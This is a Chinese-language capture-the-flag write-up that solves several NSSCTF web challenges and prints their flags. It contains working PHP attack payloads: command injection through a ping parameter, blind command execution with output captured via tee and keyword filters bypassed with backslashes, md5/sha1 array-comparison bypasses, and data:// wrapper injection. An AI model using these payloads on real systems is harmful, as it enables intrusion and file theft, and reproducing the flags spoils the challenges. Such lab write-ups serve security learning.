目录
If_else
源码意思就是自己写php代码进去对前面代码进行闭合然后在注释后面的
RCE-PLUS
发现shell_exec函数意思就算你命令执行成功了也不会有回显
我们可以使用tee命令:tee命令的作用就是读取标准输入内容,将读取到的数据写到标准输出和文件及 ?cmd=ls / | tee 1.txt 然后在访问1.txt参看读取内容
查看flag 使用反斜线绕过一下关键字及?cmd=ca\t /fl\ag | tee 2.txt 访问2.txt flag就出来了
flag=NSSCTF{6ccf35a1-5810-45de-9c78-b1f621036b14}
Pingpingping
代码审计得知需要我们传入一个参数Ping_ip.exe,然后在执行system(ping -c 3 + 刚刚我们传的值)
注意这里涉及到一个非法传参的问题,在PHP官方文档中有解释当变量名中出现点
和空格
时将被转换为下划线。及 Ping_ip.exe 在被解析的时候就会变成 Ping_ip_exe 具体参考 所以制造 paylaod: Ping[ip.exe=127.0.0.1 | ls /
执行成功了直接查看flag 及 Ping[ip.exe=127.0.0.1 | cat /flag
flag=NSSCTF{a992a93f-d22c-45e8-b125-04a6cdb8f35a}
一键连接!
分析代码得第一个if md5_1和md5_2 进行md5加密后强比较相等但是md5_1
不等于md5_2
,可以使用数组绕过:由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了 及
?md5_1[]=1&md5_2[]=2
第二个if也可以使用数组绕过的方式
sha1_1[]=3&sha1_2[]=4
第三个if 看到file_get_contents
函数的作用就是输出文件里面的内容及想到使用data//协议传入数据流及
new_player=data://text/plain,Welcome to NSSCTF!!!
最后还有一个post的传参没有任何的过滤及Nss=system("cat /f*");
综上所述payload:?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!
flag=NSSCTF{5ca7ac9c-2904-4986-8fa5-d0d9eb436c9d}
NSS_HTTP_CHEKER
就喜欢简单明了的大家也可以参考[LitCTF 2023]Http pro max plus 打开burp一把嗦就好了具体如下
总结:
新知识点// 1.tee命令的使用 2. 数组绕过的原理 3. data协议的使用4. php的非法传参